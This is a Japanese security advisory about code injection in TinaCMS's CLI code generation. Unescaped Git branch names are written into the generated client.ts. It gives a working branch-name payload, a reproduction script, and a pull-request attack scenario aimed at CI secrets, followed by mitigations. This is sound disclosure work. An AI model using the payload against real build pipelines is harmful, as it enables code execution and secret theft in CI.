Tina: 生成されたクライアントソースにおける、エスケープされていないGitブランチ名を利用したコードインジェクション
### 概要
`@tinacms/cli`は、生成される`client.ts`ソースに、エスケープやエンコード処理なしで、生のGitブランチの値を挿入します。Gitで有効なブランチ名を使用することで、文字列リテラルを閉じ、消費者のビルドが生成されたクライアントモジュールをインポートする際に実行される任意のJavaScript式を注入することができます。
### 影響を受けるコンポーネント
- **ソース (ブランチの読み込み):** `packages/@tinacms/cli/src/cmds/init/templates/config.ts` の155行から172行 — `VERCEL_GIT_COMMIT_REF`、`GITHUB_BRANCH`、または`HEAD`を`config.branch`に読み込みます。
- **変換 (URLの構築):** `packages/@tinacms/cli/src/next/codegen/index.ts` の219行から253行 — `_createApiUrl()`は、生のブランチ名を`encodeURIComponent`を使用せずにAPI URLに連結します。
- **シンク (テンプレート):** `packages/@tinacms/cli/src/next/codegen/index.ts` の363行から381行 — `genClient()`は、URLを`url: '${apiURL}'`に挿入します。
- **関連シンク:** `packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts` の55行 — `url: "${apiURL}"` (同じパターン、ダブルクォーテーション)
### 根本原因
`index.ts:376`にあるcodegenテンプレートでは、以下のコードが使用されています。
```ts
url: '${apiURL}'
```
ここで、`apiURL`には生のブランチ名が含まれています。パイプラインのどの段階でも、`JSON.stringify`、`encodeURIComponent`、または文字列エスケープ関数は適用されていません。ブランチ名にシングルクォーテーションが含まれていると、文字列リテラルが閉じられ、式インジェクションが可能になります。
### ペイロード
以下の文字列は、有効なGitブランチ名です(`git check-ref-format`で受け入れられます)。
```
x'+(globalThis.__TINA_PROBE='hit')+'
```
### 生成されたソース (シンク)
このブランチでcodegenが実行されると、生成された`client.ts`には以下のコードが含まれます。
```ts
export const client = createClient({
url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
token: '<token>',
queries,
});
```
ブランチ名に含まれる `'` は、URL文字列を閉じます。 `+(globalThis.__TINA_PROBE='hit')+` は、JavaScriptの式として解釈されます。 末尾の `+'` は、構文を有効にするために文字列を再度開きます。
### 再現手順
**前提条件:** Node.js、Git、npm
```bash
mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild
```
`repro.mjs` ファイルを作成します。
```js
import { transform } from 'esbuild';
import vm from 'vm';
// 悪意のあるブランチ名を含む VERCEL_GIT_COMMIT_REF をシミュレート
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";
// index.ts:252 の _createApiUrl() のロジック
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;
// index.ts:376 の genClient() テンプレート
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;
console.log("生成されたソースコード:\n", generated);
// コンパイル (ユーザー側のビルドと同じ)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });
// サンドボックス化された VM で実行
const sandbox = {
globalThis: {},
module: { exports: {} },
exports: {},
require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);
console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// 出力: __TINA_PROBE = hit
```
実行: `node repro.mjs`
**結果:** `globalThis.__TINA_PROBE` が `'hit'` に設定され、注入された式がモジュールの評価中に実行されたことが確認されます。
**ネガティブコントロール:** `branch = "feature/safe-branch"` と繰り返しても、注入は発生しません。
### 影響
注入された式は、ユーザー側のビルドプロセスのすべての権限で実行されます。 通常の Vercel または GitHub Actions のプレビューデプロイメントの場合:
- **ビルド環境変数**にアクセスできます(`process.env`)。これには、`NPM_TOKEN`、`VERCEL_TOKEN`、クラウドプロバイダーのシークレット、APIキーなどが含まれる可能性があります。
- **ビルド成果物**を改ざんできるため、デプロイされた出力がサプライチェーン攻撃を受ける可能性があります。
- データを外部に送信するための**ネットワークアクセス**が利用可能です。
**攻撃シナリオ:** 攻撃者が、TinaCMSを使用しており、プレビューデプロイが有効になっている(Vercelはすべてのプルリクエストブランチを自動的にデプロイする)オープンソースプロジェクトに対して、プルリクエストを開きます。攻撃者のブランチ名にペイロードが含まれています。プレビュービルドがTinaのコード生成を実行し、注入された`client.ts`が生成され、攻撃者のコードがビルド中に実行されます。
**前提条件:**
1. 攻撃者が、コンシューマービルドをトリガーするブランチまたはプルリクエストを作成できること。
2. コンシューマーが、TinaCMSを使用しており、スキャフォールドされたブランチ設定(`VERCEL_GIT_COMMIT_REF`または同等のものから読み込み)を使用していること。
3. Tina SDKのコード生成が有効になっていること(デフォルト)。
### 深刻度に関する理由
**高** — 制御されたGitリファレンスを介して、ビルド時に任意のコードを実行できるため。重大度は「クリティカル」とは見なされていません。なぜなら、この検証では、実際のシークレットの漏洩やリリース成果物の改ざんが確認されたわけではなく、あくまで無害なマーカーが使用されたからです。
### 推奨される対策
1. 生成されたソーステンプレートに挿入される実行時の値を安全にシリアライズするために、`JSON.stringify(value)`を使用する。
2. API URLパスセグメントを構築する前に、ブランチの値を`encodeURIComponent()`でエンコードする。
3. `apiURL`、`token`、`errorPolicy`、`cacheDir`、および`plugin.ts`にある関連テンプレート`AddGeneratedClientFunc`についても、同様の処理を適用する。
4. 実行時の値をソーステンプレートから完全に削除することを検討する。代わりに、生成されたクライアントが実行時に読み取るJSON設定ファイルを通じて値を渡すようにする。
### 関連するセキュリティアドバイザリ
[GHSA-4936-9hrh-qqpw](https://github.com/advisories/GHSA-4936-9hrh-qqpw) — TinaCMS Forestryへの移行によって生成されたソースでリモートコード実行が発生。異なるソース(Forestry YAMLラベル)、異なるパーサー(`__TINA_INTERNAL__`アンクォートヘルパー)、および異なるシンク(`tina/templates.ts`)。このレポートは重複ではありません。
影響を受けるパッケージ:
- npm (JavaScript) @tinacms/cli: 影響を受けるバージョンは 2.7.0 以下、3.0.0 で修正済み。